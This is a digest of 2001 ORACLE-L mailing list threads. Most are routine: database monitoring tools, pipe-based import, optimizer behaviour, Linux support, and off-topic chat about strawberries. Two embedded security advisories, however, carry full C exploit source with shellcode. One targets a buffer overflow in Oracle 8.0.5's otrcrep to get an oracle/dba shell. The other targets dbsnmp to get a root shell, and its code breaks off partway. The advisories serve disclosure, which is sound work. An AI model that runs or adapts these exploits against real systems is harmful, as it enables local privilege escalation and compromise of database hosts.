RE: Evaluation questions - Precise Tool
Which Components of this Tool (Precise) are advisable ? How does it Compare with Other Tools ? Any Highlights ? Lastly Paying for a Tool , is it indeed Advisable OR are there any Freeware Tools which may be Good enough ? -Original Message- From: Rachel Carmichael [SMTP:[EMAIL PROTECTED]] Sent: Wednesday, August 01, 2001 11:04 PM To: Multiple recipients of list ORACLE-L Subject: RE: Evaluation questions Chaim, That could work. Logminer wasn't around when I first had this problem, and I haven't spent time working with it. From what I know from listening to Joe present on it though, it would be a more complicated process than I want. I'd have to be sure that the dictionary map was always up to date, and I would have to go back and look through all the archived logs as well as the online ones, in case the statement had been archived off. It also sounds like it would be intensely manual. Joe -- any thoughts on this? I want something that runs FAST, so I can clear locks quickly. And then go on to the fun stuff of killing duhvelopers. Rachel (today it is hot and humid here, and today the AC in the office doesn't work killing duhvelopers is looking like more and more fun) From: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: Evaluation questions Date: Wed, 01 Aug 2001 07:51:19 -0800 Rachel Carmichael [EMAIL PROTECTED] on 07/31/2001 11:48:02 AM Please respond to [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc:(bcc: Chaim Katz/Completions/Bombardier) Rachel, I don't know how to retreive the locking sql either, but reading this discussion it occurred to me that 1) in v$session (of the blocked session) we have the file#,block#,row# that is being waited on. Maybe with logminer (or something like it) we could find the most recent SQL that affected this block/row? Chaim Gary, I wish it did. I worked with Q Diagnostics for quite a while, and worked directly with the developer (although calling John Beresniewicz a developer is an understatement, he's brilliant!) on answering that problem. Neither Q nor anything from Platinum (does that tell you how long ago it was?) was able to find the locking sql with any precision. The answer I got back from both of them was if you figure out how to do it, PLEASE let us know Having said that, Q Diagnostics was indeed bliss... I fixed locks before users complained, was able to model and monitor bad SQL and fix it and had lots of good info directly on the desktop. Rachel From: Gary Weber [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: Evaluation questions Date: Tue, 31 Jul 2001 06:11:36 -0800 Rachel, I believe your second wish from below (locking SQL) has been granted by former Savant product called Q Diagnostic Center, currently owned by Precise. Drill down to locks, including user and SQL info - its a bliss. Gary Weber Senior DBA Charles Jones, LLC 609-530-1144, ext 5529 -Original Message- Carmichael Sent: Tuesday, July 31, 2001 8:56 AM To: Multiple recipients of list ORACLE-L one I want is can the package tell me when a datafile extends also, I want (and have NEVER found) a package that can tell me the locking SQL, when the locker has gone on and done other SQL after the lock. ex. user1 does: select * from table for update where some where clause update table insert into second table and does not commit user2 comes in and tries to update the first table, one of the rows that meets user1's where clause I can tell that user1 is blocking user2 but not the SQL that is doing the blocking. That's useful in beating duhvelopers about the head in order to get the code fixed. From: O'Neill, Sean [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: Evaluation questions Date: Tue, 31 Jul 2001 02:25:49 -0800 I'm still slogging away at selection process of DB monitor tool. I'm now at stage where I'm compiling a list of specific tasks I'd like to take the contenders through and score them on same. E.G. Can package alert if Oracle DB goes down? Can package alert if Control File extends? I'd appreciate your feedback on what you think the monitor package should be able to do, ya know those things you want to know about before anyone else does!. I'm particularly fishing for events that might be a bit more obscure yet still useful to monitor. Sean :) Rookie Data Base Administrator Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K [0%] OCP Oracle8i DBA [0%] OCP Oracle9i
Re: How to import using pipe?
Hi, What you can also do is to export and import at the same time using a pipe. This way you do not generate any dump file plus export and import are done at the same time so should in theory save you time as well. This works very well with parfiles and can than be scheduled to run in the evening. (command line may require some switching to give some input) Jack Leslie Lu leslie_y_lu@y To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] ahoo.comcc: (bcc: Jack van Zanen/nlzanen1/External/MEY/NL) Sent by: Subject: How to import using pipe? [EMAIL PROTECTED] om 01-08-2001 23:22 Please respond to ORACLE-L Hi all, Thank you all those answered my question! I got a compressed file Amin.dmp.Z of 1.28G. After uncompress, the Amin.dmp file is 9.7G. Can someone show me how to import using pipe? The pipe works on Z file or dmp file? (Oracle815 for both export, import db, Sun 5.6). Thank you. Leslie __ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Leslie Lu INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = De informatie verzonden in dit e-mailbericht is vertrouwelijk en is uitsluitend bestemd voor de geadresseerde. Openbaarmaking, vermenigvuldiging, verspreiding en/of verstrekking van deze informatie aan derden is, behoudens voorafgaande schriftelijke toestemming van Ernst Young, niet toegestaan. Ernst Young staat niet in voor de juiste en volledige overbrenging van de inhoud van een verzonden e-mailbericht, noch voor tijdige ontvangst daarvan. Ernst Young kan niet garanderen dat een verzonden e-mailbericht vrij is van virussen, noch dat e-mailberichten worden overgebracht zonder inbreuk of tussenkomst van onbevoegde derden. Indien bovenstaand e-mailbericht niet aan u is gericht, verzoeken wij u vriendelijk doch dringend het e-mailbericht te retourneren aan de verzender en het origineel en eventuele kopieën te verwijderen en te vernietigen. Ernst Young hanteert bij de uitoefening van haar werkzaamheden algemene voorwaarden, waarin een beperking van aansprakelijkheid is opgenomen. De algemene voorwaarden worden u op verzoek kosteloos toegezonden. = The information contained in this communication is confidential and is intended solely for the use of the individual or entity to whom it is addressed. You should not copy, disclose or distribute this communication without the authority of Ernst Young. Ernst Young is neither liable for the proper and complete transmission of the information contained in this communication nor for any delay in its receipt. Ernst Young does not guarantee that the integrity of this communication has been maintained nor that the communication is free of viruses, interceptions or
RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
I guess thats one of the things we have going for us in little old England. Where I live in the North East of England (Northumberland to be precise) there are a whole host of farms where you can go and pick your own within between 5 and 20 minutes drive from my house. Aaaah! Lee -Original Message- Sent: 02 August 2001 01:55 To: Multiple recipients of list ORACLE-L Cherie, You guys are making me soo jealous. (and so hungry for fresh strawberries!) Rachel From: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 13:38:35 -0800 Rachel, When I worked at Rockwell in Anaheim (Southern California - sort of a suburb of Los Angeles), I used to drive right past a strawberry field every night on my way home from work. Most of the berries would be picked and shipped to market or wherever but there was always a small stand at the edge of the field where you could stop and buy direct from the grower. It was strange to find a strawberry field in the middle of the city. That was fifteen years ago. I'm not sure if it's still there - what with the high price of real estate in that area. Anyway, the taste was just as April described it. Warm and damp and flavorful. The smell alone would make me stop. Every summer I long for those strawberries and I've yet to find anything close here in the Midwest. Cherie Machler nostalgic for a few things about Southern California - like the produce markets Rachel Carmichael To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] carmichr@hotcc: mail.comSubject: RE: OT about to peeve off the vegatarians: RE: OT RE: Sent by: Largest root@fatcity. com 08/01/01 03:15 PM Please respond to ORACLE-L April, Okay, now tell me WHERE I can get those? The ones from the greenmarket are already insanely wonderful, I'm not sure I could stand anything more intense :) Rachel From: April Wells [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 10:37:19 -0800 Rachel, You need to try strawberries, warm from the sun, wet from the irrigation system, with the light dusty dirt still crunching on them. April -Original Message- Sent: Wednesday, August 01, 2001 12:17 AM To: Multiple recipients of list ORACLE-L Ian, You have my sympathies for your struggles. And my respect for how you seem to be dealing with them. My husband was a hemophiliac. Just living with that as an adult was hard. To live with a genetic disorder in a child must be infinitely harder. I have an enormous respect for my mother-in-law who raised such a child and did not wrap him in cotton-wool, in case he got hurt. You are in CA, where you can get a much better assortment of non-store-bought produce than I can here in NYC, although I tend to frequent the greenmarkets and try to buy what is in season when I buy in stores. Even then, store-bought doesn't taste as good as fresh-picked. I have converted one person at work to never eating store-bought strawberries again, he tried some from the greenmarket when they were in season and was convinced. Rachel From: MacGregor, Ian A. [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Tue, 31 Jul 2001 15:15:35 -0800 So where do I get my woolly mammoth steaks. What was the life expectancy of early hominids? I don't know about Maine Blue Berries, but wild blueberries in Nova Scotia are just as sweet if not sweeter than the store bought ones. Where in a reputable peer-reviewed journal can one find an article store bought food is less nutritious than wild food. The purpose of fruit is to be eaten, the seeds passing through the digestive system intact to be planted with a little fertilizer. The sweeter the fruit, the more animals are attracted, the greater chance of the plant dispersing its progeny. As far as I can tell taste takes a second seat to looks with commercial produce. Produce is picked before its time so it can be transported unbruised. It doesn't taste as good as the stuff off a backyard tree. My daughter is autistic. We have her on a cassein and gluten free diet. It seems to have done her some good; her attentiveness has increased and her perserveration has dropped. My wife swears it has;
vulnerability in otrcrep binary in Oracle 8.0.5.
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Title: Vulnerability in otrcrep in Oracle 8.0.5
Date: 14-12-2000
Platform: Only tested in Linux, but can be exported to others.
Impact: Any user gain euid=oracle and egid=dba.
Author: Juan Manuel Pascual ([EMAIL PROTECTED])
Status: Vendor contacted at 18th July 2001
PROBLEM SUMMARY:
There is a buffer overflow in otrcrep binary that can be use by
local users to obtain euid of oracle user and egid to dba group.
IMPACT:
Any user with local access, can gain euid= oracle and compromise the
integrity of DataBase.
SOLUTION:
Chmod -s.
STATUS:
Vendor was contacted .
This vulnerability was researched by:
Juan Manuel Pascual Escriba[EMAIL PROTECTED]
/* cc -o evolut otrcrep.c; ./evolut 300 0 */
#include stdio.h
#include stdlib.h
#define BUFFER 300
#define OFFSET 0
#define NOP0x90
#define BINARY /home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG
#define ORACLE_HOME /home/oracle/app/oracle/product/8.0.5
char shellcode[] =
\xeb\x1d
\x5e
\x29\xc0
\x88\x46\x07
\x89\x46\x0c
\x89\x76\x08
\xb0\x0b
\x87\xf3
\x8d\x4b\x08
\x8d\x53\x0c
\xcd\x80
\x29\xc0
\x40
\xcd\x80
\xe8\xde\xff\xff\xff/bin/sh;
unsigned long get_sp(void) {
__asm__(movl %esp,%eax);
}
/* void main(int argc, char *argv[]) { */
void main() {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf(Can't allocate memory.\n);
exit(0);
}
addr = get_sp() -1420 -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv(ORACLE_HOME,ORACLE_HOME,1);
setenv(EGG,buff,1);
system(BINARY);
}
RE: RULE vs. CHOOSE
Qs. Is there any Way to Generate the IDEAL OUTLINE Plans Plans in 1 Database Send it for Import to ALL the Various Sites World-wide ? Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations are in progress ? What would be the Overhead of Such a Package (if Exists) ? Thanks so much for the Help -Original Message- From: Gillies, Garry [SMTP:[EMAIL PROTECTED]] Sent: Wednesday, August 01, 2001 8:01 PM To: Multiple recipients of list ORACLE-L Subject: RE: RULE vs. CHOOSE From: VIVEK_SHARMA [mailto:[EMAIL PROTECTED]] Sent: 01 August 2001 08:05 Subject: RULE vs. CHOOSE Qs. Will COST Based Optimizer (CBO) or Rule Based Optimizer (RBO) be used for the PARTITIONED Table in the Following Query ? NOTE OPTIMIZER_MODE is Set Explicitly to RULE , Run the Following SQL :- SELECT Some Columns FROM Partition Table , NON-Partitioned Table where Partition Table.Column = NON-Partitioned Table.Column Assuming Partition Table.Column is the PARTITION KEY BOTH Partition Table NON-Partitioned Table are ANALYZED . Development stopped on RBO at version 7. Partitioning is a version 8 feature. Since RBO has no knowledge of dealing with partitions, CBO must be used. Qs. Will Only the Respective partition be SCANNED in the Above Query ? No. There is nothing in that query that tells the optimiser that only a particular partition will be required. Qs. Would there be Any Disadvantage in SETTING OPTIMIZER_MODE=RULE for the Above Query ? It would be ignored. The CBO would be used, defaulting to ALL_ROWS. Qs. How is it Best Possible to KEEP the SAME (BEST) Execution Plan at Various Sites where the SAME PRODUCT Exists Yes, but you must be using CBO - see CREATE OUTLINE in SQL reference manual. Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations are in progress ? What would be the Overhead of Such a Package (if Exists) ? I do not know. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: VIVEK_SHARMA INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Where I live we have many strawberry farms where the customer picks their own berries. We picked about 50 pounds and then I made some of the best strawberry jam. The store bought jam is not a close second to mine! (I pat my own back) Picking the berries right off the vine is the best way. They are soo fresh, juicy and delicious!! Dave -Original Message- Sent: Wednesday, August 01, 2001 4:02 PM To: Multiple recipients of list ORACLE-L While you're at it, April, could you tell me where I could get about 80 pounds of those strawberries? The frozen ones I've been using to make wine are not quite what I have hoped they'd be. David -Original Message- Carmichael Sent: Wednesday, August 01, 2001 1:16 PM To: Multiple recipients of list ORACLE-L April, Okay, now tell me WHERE I can get those? The ones from the greenmarket are already insanely wonderful, I'm not sure I could stand anything more intense :) Rachel From: April Wells [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 10:37:19 -0800 Rachel, You need to try strawberries, warm from the sun, wet from the irrigation system, with the light dusty dirt still crunching on them. April -Original Message- Sent: Wednesday, August 01, 2001 12:17 AM To: Multiple recipients of list ORACLE-L Ian, You have my sympathies for your struggles. And my respect for how you seem to be dealing with them. My husband was a hemophiliac. Just living with that as an adult was hard. To live with a genetic disorder in a child must be infinitely harder. I have an enormous respect for my mother-in-law who raised such a child and did not wrap him in cotton-wool, in case he got hurt. You are in CA, where you can get a much better assortment of non-store-bought produce than I can here in NYC, although I tend to frequent the greenmarkets and try to buy what is in season when I buy in stores. Even then, store-bought doesn't taste as good as fresh-picked. I have converted one person at work to never eating store-bought strawberries again, he tried some from the greenmarket when they were in season and was convinced. Rachel From: MacGregor, Ian A. [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Tue, 31 Jul 2001 15:15:35 -0800 So where do I get my woolly mammoth steaks. What was the life expectancy of early hominids? I don't know about Maine Blue Berries, but wild blueberries in Nova Scotia are just as sweet if not sweeter than the store bought ones. Where in a reputable peer-reviewed journal can one find an article store bought food is less nutritious than wild food. The purpose of fruit is to be eaten, the seeds passing through the digestive system intact to be planted with a little fertilizer. The sweeter the fruit, the more animals are attracted, the greater chance of the plant dispersing its progeny. As far as I can tell taste takes a second seat to looks with commercial produce. Produce is picked before its time so it can be transported unbruised. It doesn't taste as good as the stuff off a backyard tree. My daughter is autistic. We have her on a cassein and gluten free diet. It seems to have done her some good; her attentiveness has increased and her perserveration has dropped. My wife swears it has; I lean more towards non-casual coincidence, but I don't want to give her bread pudding in case I'm wrong. You won't believe how many things have gluten and cassein. Gluten is not naturally found in corn, but it's in corn flakes. Most soy cheeses have cassein in them so they melt like dairy cheeses. It is very difficult to keep on such a diet, taking all grains out of the diet would be harder still. Autism is a multi-genetic disorder; i.e, more than one gene is involved. Latest evidence is that the genes express themselves about the first month of pregnancy. In the future it will be detectable via amniocentesis, much like trisomy 13 is today. For a parent it becomes noticeable somewhere between 15 months and two years. So what does this have to do with cassein and gluten. There are double-blind studies which indicate some children do better on such a diet. I like to think the experience has made me a better person. Before, when a developmentally-disabled child walked into a room I'd act like the kid was contagious. Ian MacGregor Stanford Linear Accelerator Center [EMAIL PROTECTED] -Original Message- Sent: Tuesday, July 31, 2001 1:12 PM To: Multiple recipients of list ORACLE-L http://www.healingcrow.com/dietsmain/paleo/paleo.html -Original Message- Sent: Tuesday, July 31, 2001 3:36 PM To: Multiple recipients of
Local Vulnerability in dbsnmp binary in Oracle 8.1.6 - 8.1.7 - 9i
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Title:Local Vulnerability in dbsnmp binary
Date: 13-07-2001
Platform: Only tested in Linux but can be exported to others.
Impact: Users belonging to oracle group can obtain euid=0
Author: Juan Manuel Pascual Escriba [EMAIL PROTECTED]
Status: Vendor contacted
PROBLEM SUMMARY:
Buffer overflow exists if ORACLE_HOME enviroment variable is defined
with a size greater than 749 bytes
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s---1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print Ax749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print Ax750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Segmentation fault
This overflow exists in newer products like Oracle 9i and maybe in older
too.
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s---1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print Ax749'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file /config/nmiconf.tcl: no such file or directory
Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print Ax750'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault
IMPACT:
Any user belonging to oracle group can obtain euid=0.
SOLUTION:
Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...
I dont understand why is necesary root privileges to open ports
1023 ?
SPECIAL THANKS:
Francisco Fernandez [EMAIL PROTECTED]
Ivan Sanchez
[EMAIL PROTECTED]
Mundo Alonso-Cuevillas [EMAIL PROTECTED]
--
This vulnerability was researched by:
Juan Manuel Pascual Escriba[EMAIL PROTECTED]
--
In God We trust, Others We monitor
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/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in
RH 6.2.
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable.
Its necessary to call setuid(0) before normal shellcode.
In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal
(uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas.
L.E.Aute
This vulnerability was researched by:
Juan Manuel Pascual [EMAIL PROTECTED]
Special thanks to:
Ivan Sanchez [EMAIL PROTECTED]
Mundo Alonso-Cuevillas [EMAIL PROTECTED]
*/
#include stdio.h
#include stdlib.h
#define BUFFER 800
#define OFFSET 7896
#define NOP0x90
#define BINARY /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
char shellcode[] =
\x90 /* Additional NOP */
\x31\xc0 /* begin setuid (0) */
\x31\xdb
\xb0\x17
\xcd\x80
\xeb\x1f
\x5e
\x89\x76\x08
\x31\xc0
\x88\x46\x07
\x89\x46\x0c
\xb0\x0b
\x89\xf3
\x8d\x4e\x08
\x8d\x56\x0c
\xcd\x80
\x31\xdb
\x89\xd8
\x40
\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh;
unsigned long get_sp(void) {
__asm__(movl %esp,%eax);
}
void main(int argc, char *argv[]) {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf(Can't allocate memory.\n);
exit(0);
}
addr = get_sp() -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv(ORACLE_HOME,buff,1);
Re: Boss needs proof of 9i/11i/Linux environment
Go to the Oracle store and see what is available for purchase ($40 each) and then you will be able to have the compinations that Oracle supports. It sounds like the consultants want to sell you another system they support. The combination you suggest is do-able if i remember correctly from the downloads I have. ROR mª¿ªm [EMAIL PROTECTED] 08/01/01 06:44PM I know this has been covered, I remember seeing the messages, but my boss doesn't believe me and has been told otherwise. We are in the process of implementing Oracle 9i with Oracle Applications 11i on a Sun platform. We have a few extremely powerful Intel boxes that will be freed up with this transition, and I told him that we can implement the same environment on Linux on one of these boxes as a disaster platform. The consultants that are doing the implementation told him emphatically that this environment will not run on Linux. So, I am looking for the ammunition to prove that it can be done. Anyone who has this implementation, could you tell me the full version of what you have running for LINUX, Oracle database and Oracle Application set. Thanks for your assistance in this re-hashing. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: William Rogge INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ron Rogers INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: RULE vs. CHOOSE
1)I feel each plan depends on init parameters of Oracle. 2) You can statspack of Oracle. It will give u reports of the performance of the DB. HTH -- On Thu, 2 Aug 2001 13:01:56 VIVEK_SHARMA wrote: Qs. Is there any Way to Generate the IDEAL OUTLINE Plans Plans in 1 Database Send it for Import to ALL the Various Sites World-wide ? Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations are in progress ? What would be the Overhead of Such a Package (if Exists) ? Thanks so much for the Help -Original Message- From:Gillies, Garry [SMTP:[EMAIL PROTECTED]] Sent:Wednesday, August 01, 2001 8:01 PM To: Multiple recipients of list ORACLE-L Subject: RE: RULE vs. CHOOSE From: VIVEK_SHARMA [mailto:[EMAIL PROTECTED]] Sent: 01 August 2001 08:05 Subject: RULE vs. CHOOSE Qs. Will COST Based Optimizer (CBO) or Rule Based Optimizer (RBO) be used for the PARTITIONED Table in the Following Query ? NOTE OPTIMIZER_MODE is Set Explicitly to RULE , Run the Following SQL :- SELECT Some Columns FROM Partition Table , NON-Partitioned Table where Partition Table.Column = NON-Partitioned Table.Column Assuming Partition Table.Column is the PARTITION KEY BOTH Partition Table NON-Partitioned Table are ANALYZED . Development stopped on RBO at version 7. Partitioning is a version 8 feature. Since RBO has no knowledge of dealing with partitions, CBO must be used. Qs. Will Only the Respective partition be SCANNED in the Above Query ? No. There is nothing in that query that tells the optimiser that only a particular partition will be required. Qs. Would there be Any Disadvantage in SETTING OPTIMIZER_MODE=RULE for the Above Query ? It would be ignored. The CBO would be used, defaulting to ALL_ROWS. Qs. How is it Best Possible to KEEP the SAME (BEST) Execution Plan at Various Sites where the SAME PRODUCT Exists Yes, but you must be using CBO - see CREATE OUTLINE in SQL reference manual. Qs. Is there any PACKAGE etc. which Automatically Causes Statistics to be ANALYZED in some SMALL proportions (Bit by Bit) while Live Operations are in progress ? What would be the Overhead of Such a Package (if Exists) ? I do not know. Get 250 color business cards for FREE! http://businesscards.lycos.com/vp/fastpath/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: C.S.Venkata Subramanian INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. For those not in the US, it's from an old TV commercial. I started playing on Commodore-64's in high school in 1982. I've still got some of those Verbatim 5.25 disks in the closet at home. What is the language that uses a turtle for teaching children about computers? What language was it based on? -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Anderson, Brian INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Whoops - sorry list, that was meant for John. -Original Message- [mailto:[EMAIL PROTECTED]] Sent: 02 August 2001 11:50 To: Multiple recipients of list ORACLE-L The Geordies get everywhere Aa The Blaydon races.. -Original Message- Sent: 02 August 2001 08:00 To: Multiple recipients of list ORACLE-L I guess thats one of the things we have going for us in little old England. Where I live in the North East of England (Northumberland to be precise) there are a whole host of farms where you can go and pick your own within between 5 and 20 minutes drive from my house. Aaaah! Lee -Original Message- Sent: 02 August 2001 01:55 To: Multiple recipients of list ORACLE-L Cherie, You guys are making me soo jealous. (and so hungry for fresh strawberries!) Rachel From: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 13:38:35 -0800 Rachel, When I worked at Rockwell in Anaheim (Southern California - sort of a suburb of Los Angeles), I used to drive right past a strawberry field every night on my way home from work. Most of the berries would be picked and shipped to market or wherever but there was always a small stand at the edge of the field where you could stop and buy direct from the grower. It was strange to find a strawberry field in the middle of the city. That was fifteen years ago. I'm not sure if it's still there - what with the high price of real estate in that area. Anyway, the taste was just as April described it. Warm and damp and flavorful. The smell alone would make me stop. Every summer I long for those strawberries and I've yet to find anything close here in the Midwest. Cherie Machler nostalgic for a few things about Southern California - like the produce markets Rachel Carmichael To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] carmichr@hotcc: mail.comSubject: RE: OT about to peeve off the vegatarians: RE: OT RE: Sent by: Largest root@fatcity. com 08/01/01 03:15 PM Please respond to ORACLE-L April, Okay, now tell me WHERE I can get those? The ones from the greenmarket are already insanely wonderful, I'm not sure I could stand anything more intense :) Rachel From: April Wells [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 10:37:19 -0800 Rachel, You need to try strawberries, warm from the sun, wet from the irrigation system, with the light dusty dirt still crunching on them. April -Original Message- Sent: Wednesday, August 01, 2001 12:17 AM To: Multiple recipients of list ORACLE-L Ian, You have my sympathies for your struggles. And my respect for how you seem to be dealing with them. My husband was a hemophiliac. Just living with that as an adult was hard. To live with a genetic disorder in a child must be infinitely harder. I have an enormous respect for my mother-in-law who raised such a child and did not wrap him in cotton-wool, in case he got hurt. You are in CA, where you can get a much better assortment of non-store-bought produce than I can here in NYC, although I tend to frequent the greenmarkets and try to buy what is in season when I buy in stores. Even then, store-bought doesn't taste as good as fresh-picked. I have converted one person at work to never eating store-bought strawberries again, he tried some from the greenmarket when they were in season and was convinced. Rachel From: MacGregor, Ian A. [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Tue, 31 Jul 2001 15:15:35 -0800 So where do I get my woolly mammoth steaks. What was the life expectancy of early hominids? I don't know about Maine Blue Berries, but 